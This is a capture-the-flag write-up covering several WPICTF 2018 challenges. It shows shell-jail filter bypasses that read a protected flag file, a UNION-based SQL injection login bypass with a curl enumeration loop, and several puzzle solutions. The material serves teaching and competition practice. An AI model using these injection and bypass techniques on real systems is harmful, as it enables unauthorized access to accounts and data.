- 100 ezpz
- 150 Shell-JAIL-1
- 200 Forker.1
- 250 Shell-JAIL-2
- 300 Breakingout
- 300 Forker.2
- 500 Forker.3
- 750 Forker.4
- 200 Big Guy
- 400 jay-peg
- 200 guess5
- 50 Penguin
- 150 kerning
- 50 Window
Files provided
login (SSH key, not disclosed)
Description
Download the login private key, then run:
ssh -p 31337 -i login [email protected]
redundant servers on 31338 and 31339
made by Ben Chaney
Solution
After logging in, we are put immediately into /home/pc_owner
, on a very restricted machine:
$ whoami
shjail
$ touch /tmp/file
touch: /tmp/file: Read-only file system
Everything else is read-only.
$ ls -al
total 28
drwxr-xr-x 1 pc_owner pc_owner 4096 Apr 13 08:03 .
drwxr-xr-x 1 root root 4096 Apr 13 08:03 ..
-r-sr-sr-x 1 pc_owner pc_owner 10880 Apr 13 08:03 access
-r--r--r-- 1 pc_owner pc_owner 1005 Apr 13 04:50 access.c
-r--r----- 1 pc_owner pc_owner 23 Apr 13 04:50 flag.txt
There is an executable, access
, with the setuid
bit set. access.c
is the source code for access
, and flag.txt
is our target. Clearly we need to use access
to read flag.txt
somehow.
$ cat access.c
/* ... */
int filter(const char *cmd){
int valid = 1;
valid &= strstr(cmd, "*") == NULL;
valid &= strstr(cmd, "sh") == NULL;
valid &= strstr(cmd, "/") == NULL;
valid &= strstr(cmd, "home") == NULL;
valid &= strstr(cmd, "pc_owner") == NULL;
valid &= strstr(cmd, "flag") == NULL;
valid &= strstr(cmd, "txt") == NULL;
return valid;
}
int main(int argc, const char **argv){
setreuid(UID, UID);
char *cmd = gen_cmd(argc, argv);
if (!filter(cmd)){
exit(-1);
}
system(cmd);
}
The executable runs whatever arguments we give it as the pc_owner
user. However, many substrings are forbidden, including flag
, so we can't just cat flag.txt
. *
, the basic wildcard in shell globbing is forbidden also. Luckily, there is another wildcard: the ?
wildcard, which stands for any single character. So:
$ ./access "cat fl?g.t?t"
wpi{MaNY_WayS_T0_r3Ad}
Files provided
login (SSH key, not disclosed)
Description
Download the login private key, then run:
ssh -p 31337 -i login [email protected]
redundant servers on 31338 and 31339
made by Ben Chaney
Solution
Same set up as the previous challenge, with one significant difference in main
:
int main(int argc, const char **argv){
setreuid(UID, UID);
char *cmd = gen_cmd(argc, argv);
if (!filter(cmd)){
exit(-1);
}
setenv("PATH", "", 1);
system(cmd);
}
The PATH
environment variable is cleared, so cat
will not work anymore. We will have to use one of the shell builtins. Here is a simple method:
$ ./access "source fl?g.t?t"
sh: flag.txt: line 1: wpi{p0s1x_sh3Lls_ar3_w13rD}: not found
This attempts to parse flag.txt
as a shell script, which naturally fails. Luckily, the error message prints out the flag for us.
No files provided
Description
by binam
Solution
Navigating to the URL in a browser immediately redirects us to this helpful video. After taking some inspiration from the video, we attempt a non-browser approach:
$ curl "https://dance.wpictf.xyz"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s">https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s</a>. If not click the link.
Still not terribly useful. Let's enable verbose mode for curl
:
$ curl -v https://dance.wpictf.xyz
> GET / HTTP/1.1
...
>
< HTTP/1.1 302 FOUND
* Server nginx/1.13.12 is not blacklisted
< Server: nginx/1.13.12
< Date: Sun, 15 Apr 2018 19:35:02 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 309
< Connection: keep-alive
< Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s
< Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/
< Set-Cookie: Julius C.="got good dance moves."; Path=/
< Strict-Transport-Security: max-age=31536000
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
...
Two cookies are given:
flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=
This should be our flag. It looks like base64, but it produces garbage after decoding.
Julius C.="got good dance moves."
Julius C. here is a hint / reference to Julius Caesar, and hence the Caesar cipher. This cipher applies to letters and leaves numbers and other data intact. Applying it to the decoded flag data is not much use (mostly binary data). So we try to apply the shift with all 25 keys to the base64 string itself:
#!/usr/bin/env python
import base64, string
flag = "E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx="
upper = string.ascii_uppercase
lower = string.ascii_lowercase
for key in range(1, 26):
shift = string.maketrans(
upper + lower,
upper[key:] + upper[:key] + lower[key:] + lower[:key])
print key, base64.b64decode(string.translate(flag, shift))
(Or use a website like this.)
And, sure enough, with a key of 17, we get:
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
No files provided
Description
UPDATE: everything fixed
by GODeva
Solution
We are greeted with a login screen. The page sourcecode has two interesting comments:
<!-- Welcome to the the Fuller Vault
- clients/clients.db stores authentication info with the following schema:
CREATE TABLE clients (
id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
clientname VARCHAR(255),
hash VARCHAR(255),
salt VARCHAR(255)
); -->
We are given the full schema for the clients
table, so it is pretty clear we will be dealing with a SQL injection of some sort. The other comment:
<!-- V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt -->
$ echo "V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt" | base64 -D
What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham
So just a red herring. The register button links to this useful video. Let's try putting some data in the form.
Username: ' Password: x
Very useful! We can even expand the last entry in the traceback to see the surrounding code:
File "/home/vault/vault/secretvault.py", line 58, in login connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db')) pointer = connection.cursor()
search = """SELECT id, hash, salt FROM clients WHERE clientname = '{0}' LIMIT 1""".format(clientname) pointer.execute(search) res = pointer.fetchone() if not res: return "No such user in the database {0}!\n".format(clientname) userID, hash, salt = res
Very clear SQL injection vulnerability. Unfortunately, it looks like the server first selects a row from the table based on clientname
, then checks the hash
+ salt
at a later point. No problem, we can use a SQL UNION
statement to make our own login credentials. We make an informed guess that the hashing algorithm is SHA-256. It is not clear whether the salt is appended or prepended, so let's just not have any. We can find out the SHA-256 hash of a password of our choosing easily:
$ python -c 'from hashlib import sha256; print sha256("foobar").hexdigest()'
c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
The full data that we'd like to have in the table is:
id |
hash |
salt |
---|---|---|
"0" | "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2" | "" |
We'll get to id
later, so we put 0 for now (but the column type is still VARCHAR(255)
). Knowing the query the server executes, we construct the following injection:
' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" --
So after Python formats the query string, the result is:
SELECT id, hash, salt FROM clients WHERE clientname = ''
UNION
SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", ""
(Everything after is ignored due to the comment marker --
.)
In other words, the server is looking for clients with clientname
equal to the empty string, and concatenates the (non-existent) results of that query with our inline data.
To login:
Username: ' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- Password: foobar
It works, and we are greeted with the message:
Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ" (Log out)
I'll let you guess what that video is. There is nothing else we can change in our login except for the id
- it seems the server serves different "digital secrets" based on the id
of the logged-in user. We can figure out the id
for user Goutham
, since the red herring comment hinted that Goutham
knows the flag. Given that id
is a VARCHAR(255)
, the search space could be quite large, and we could use a character-by-character binary search. Luckily, it is a single digit.
#!/bin/bash
for id in {0..9}; do
echo "$id"
curl --data-urlencode "clientname=Goutham' AND id = '$id' -- " \
--data-urlencode "password=a" "https://vault.wpictf.xyz/login"
done
The above script injects the additional condition for id
value into the SQL query. Only when both clientname
and id
match a record in the table will a row be found in the result. We can distinguish the two cases based on the different error messages produces ("no such user" vs. "incorrect password"). So we find out that Goutham
has id
"2".
Username: ' UNION SELECT "2", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- Password: foobar
And that works:
Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}" (Log out)
Files provided
penguin
(binary file)
Description
made by awg
Solution
This challenge asks us to give it the flag in the argument and it tells us whether or not it is the correct flag. There are some interesting strings to be found:
$ strings penguin
...
_hexedit}
_fly._
learn_
have_
_still_
_wings,_
gives_
only_
strings_
WPI{
...
Useful, but WPI{strings_only_gives__wings,__still_have_learn__fly.__hexedit}
is not the flag. Clearly something is missing. If we do a hexdump, we can locate the strings found:
$ xxd penguin
...
0000a20: 6974 2100 5752 4f4e 4700 5f68 6578 6564 it!.WRONG._hexed
0000a30: 6974 7d00 7472 7900 5f66 6c79 2e5f 005f it}.try._fly._._
0000a40: 746f 0068 6f77 006c 6561 726e 5f00 746f to.how.learn_.to
0000a50: 5f00 6861 7665 5f00 5f73 7469 6c6c 5f00 _.have_._still_.
0000a60: 796f 7500 5f77 696e 6773 2c5f 0067 6976 you._wings,_.giv
0000a70: 6573 5f00 6f6e 6c79 5f00 7374 7269 6e67 es_.only_.string
0000a80: 735f 0057 5049 7b00 011b 033b 3c00 0000 s_.WPI{....;<...
...
So, with some intense word reading in reverse and guessing based on consecutive underscores in our initial guess, we get:
WPI{strings_only_gives_you_wings,_you_still_have_to_learn_how_to_fly._try_hexedit}
Note: The challenge was solved using
radare2
, but I like to think this method was plausible. And more importantly, I did not want to get into annotating the lenghty, visual-heavy process of debugging a binary withradare2
.
No files provided
Description
WPI{Hey_You_can_R3AD!}
Solution
...
No files provided
Description
WPI{Get_a_job}
Solution
...
Note: the text in the description was a link to a careers page of some company. Unfortunately, I don't have the link URL anymore.
Note: this was a link to a survey, which gave the flag.
No files provided
Description
(discord link)
Flag is somewhere in discord. /flag bot does not reply to messages. It's only there for kittens.
Solution
The topic of the #discord_chal
channel was WPI{Welcome_to_Disc0rd_ya-D00fus} is the flag for the discord challenge.
No files provided
Description
discord
created by binam
this challenge is stupid
Solution
The #discord_chal
channel had a bot which responded to flag
in messages:
[1:00 PM] User: flag
[1:00 PM] BOT/flag: @User, Every time you type "flag", a kitten dies! You killed 1 kittens. Total dead kitten count: 100
Putting hundreds of flag
in one message was allowed. After 65535, the counter overflowed, and the bot printed a flag for the user. However, the message with the flag was automatically removed after a short while.
No files provided
Description
nc sneakers.wpictf.xyz 31337
redundant servers on 31338 and 31339
made by rm -k
Hint: ?v=F5bAa6gFvLs
Solution
The hint is for this video.
After nc sneakers.wpictf.xyz 31337
, we are greeted with a big block of 1's and 0's:
00 01 10 10 11 10 11 10 00 01 10 00 01 10 10 00 10 10 10 01
00 11 01 10 00 01 00 01 00 11 01 00 11 11 01 00 10 11 00 10
01 01 00 10 00 10 10 00 00 10 10 00 10 00 00 00 00 10 00 00
10 10 10 00 01 10 10 11 01 11 10 10 00 00 00 01 00 10 10 00
10 10 01 00 11 01 11 00 10 01 00 10 11 00 00 10 00 10 10 00
10 10 00 00 10 00 10 10 00 10 00 10 10 00 01 00 10 10 10 00
10 11 10 11 00 11 01 10 10 00 11 10 10 00 01 10 10 00 11 10
01 01 10 01 00 11 10 10 01 00 01 01 00 00 11 11 01 00 10 10
10 10 10 11 00 00 00 11 00 00 11 10 11 00 10 00 00 00 00 10
10 11 00 01 11 00 11 10 10 00 11 10 11 00 11 10 10 10 10 00
00 11 00 10 10 00 01 01 00 00 00 00 01 00 10 11 01 10 01 00
00 00 00 00 00 00 11 10 11 00 00 00 10 00 10 10 10 11 00 00
01 10 10 01 00 11 10 10 00 10 10 10 00 10 01 01 10 10 10 10
11 11 00 11 00 01 01 00 00 00 11 01 00 10 10 10 00 00 10 10
10 00 00 10 00 11 10 11 00 00 10 00 00 11 00 10 11 00 10 10
11 00 01 11 11 10 01 10 10 11 00 00 00 11 10 10 10 01 10 00
01 00 10 00 10 00 10 11 01 01 11 00 00 10 10 01 00 10 01 00
11 00 00 10 10 00 00 10 00 00 01 00 01 10 10 00 00 10 00 00
01 11 11 10 00 00 11 10 11 01 01 11 10 10 00 00 01 11 00 10
11 01 10 01 00 00 00 01 01 11 10 01 00 01 00 00 10 01 00 10
10 11 10 00 00 10 00 10 10 10 00 10 11 00 10 00 00 10 00 00
10 10 01 10 10 10 00 01 10 00 10 10 11 01 11 00 00 00 10 10
11 00 10 10 10 01 00 11 01 00 10 01 11 10 01 11 00 00 11 01
10 00 00 10 10 00 00 10 10 00 00 00 00 00 10 01 00 01 00 10
01 00 01 10 00 01 10 01 01 10 00 10 00 10 10 01 11 10 11 01
11 00 11 01 00 11 11 10 11 01 00 00 00 11 01 10 10 01 01 10
01 00 10 10 00 01 10 00 10 00 00 00 00 10 00 10 10 10 10 10
10 00 00 00 01 10 01 01 10 00 10 10 11 10 00 10 10 01 00 10
01 00 00 00 11 11 10 11 01 00 01 00 00 11 00 11 01 11 00 01
00 11 00 01 01 10 00 10 00 00 00 00 00 00 00 10 10 01 00 10
11 00 10 10 10 01 10 10 10 00 10 01 00 01 01 00 01 00 10 11
10 00 10 11 00 10 10 10 01 00 00 10 00 01 11 00 10 00 00 01
00 00 00 10 00 00 10 10 00 00 00 10 00 11 00 10 10 00 00 10
11 00 01 10 00 01 00 00 01 10 10 11 00 11 10 10 11 10 00 10
01 00 01 00 00 10 10 00 11 11 01 01 00 10 10 00 00 01 00 00
00 00 11 00 10 10 00 00 10 00 00 10 00 10 10 00 00 00 00 00
11 00 00 11 00 00 10 01 00 01 10 10 00 10 11 11 00 10 11 00
01 00 00 00 00 00 00 11 00 11 11 01 00 01 01 01 00 01 10 00
10 00 10 11 10 00 00 10 00 10 00 00 00 00 10 00 00 10 00 00
01 10 10 00 10 10 01 00 00 00 01 10 01 01 00 11 10 10 11 01
11 11 01 00 11 01 11 11 00 00 11 11 10 10 00 00 01 00 01 10
10 00 00 00 10 10 01 01 00 01 10 00 00 10 00 10 00 00 10 10
00 01 10 10 01 00 10 10 10 00 01 10 10 10 10 00 10 10 01 01
00 11 11 00 11 00 00 10 10 00 11 11 11 01 01 00 11 01 11 10
00 10 00 00 10 00 00 10 10 00 10 00 10 00 00 00 10 10 01 10
00 10 10 10 00 01 10 01 01 01 10 11 00 10 11 00 10 00 01 01
00 00 11 01 00 11 11 10 11 11 01 01 00 01 01 00 00 00 10 10
00 00 10 00 00 01 10 00 10 10 00 10 00 10 10 00 00 00 10 00
11 11 10 10 00 10 01 11 10 00 10 11 00 01 11 11 10 01 00 00
01 11 10 01 00 10 10 01 01 00 01 10 00 10 01 10 00 11 10 00
10 00 10 00 00 10 00 10 00 00 10 00 00 00 10 10 11 10 00 00
01 11 00 01 10 10 00 11 10 10 11 00 00 00 00 11 00 00 00 11
10 01 00 11 11 01 00 10 01 11 00 00 11 11 11 00 11 11 11 00
00 10 00 10 00 00 00 00 10 10 10 00 01 01 01 11 01 01 01 11
00 00 00 11 00
11 11 11 00 11
01 01 01 11 01
Given the video which features a blind hacker using a Braille "monitor", it was quite clear these 1's and 0's represented Braille characters.
After some automated deciphering:
Welcome to the brai
lle terminal! I'll
only give you the fl
ag if you can prove
that you are visuall
y impaired. Please
type 'continue' in b
raille to begin. Ho
w to write a respons
e- Write each row o
f braille as 0's an
d 1's, then place a
n 'x' at the end of
the row. This means
that all three rows
are written on a si
ngle line of input,
in the form ...x...x
The individual parts of the challenge asked to:
- type
continue
- solve a simple mathematical problem and give the numerical solution
- type
ACCESS FLAG!
- type
please
The final please
was a response to the server saying "Ah ah ah, you didn't say the magic word!", and referencing this video.
No files provided
Description
nc bitpuzzler.wpictf.xyz 31337
redundant servers on 31338 and 31339
made Jacob Henry
Solution
Connecting to the given server results in it printing something like:
-----
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
inline int64_t pmod(int64_t x) {
int64_t v = x % 13707217;
if(v < 0)
return v + 13707217;
else
return v;
}
int main(int argc, char** argv) {
int64_t x;
scanf("%ld", &x);
x = pmod(x);
x = pmod(x - 2765383);
x = pmod(x - 11088075);
x = pmod(x + 53063);
// etc etc etc, for a total of 100 operations
x = pmod(x * 2486459);
x = pmod(x * 4797058);
x = pmod(x * 8426160);
if(x == 8594918) {
printf("Success\n");
return 0;
} else {
printf("Failure\n");
return 1;
}
}
-----
With different numbers every time. This challenge required some automation, since the server would automatically close the connection after 10 seconds. Furthermore, the server gives a dozen or two scripts like the above one after the other.
The automated solver is fairly simple. It requires reversing the operations from the target number and finding out the correct input. Addition and subtraction in modular arithmetic are very simple. The only slightly non-trivial operation to reverse is the multiplication, which requires solving a linear congruence equation (like a * b === c mod m
, find b
for a given a
, c
, and m
). Checking each integer in the range [1; m)
is just too slow, so the Extended Euclidian algorithm was used.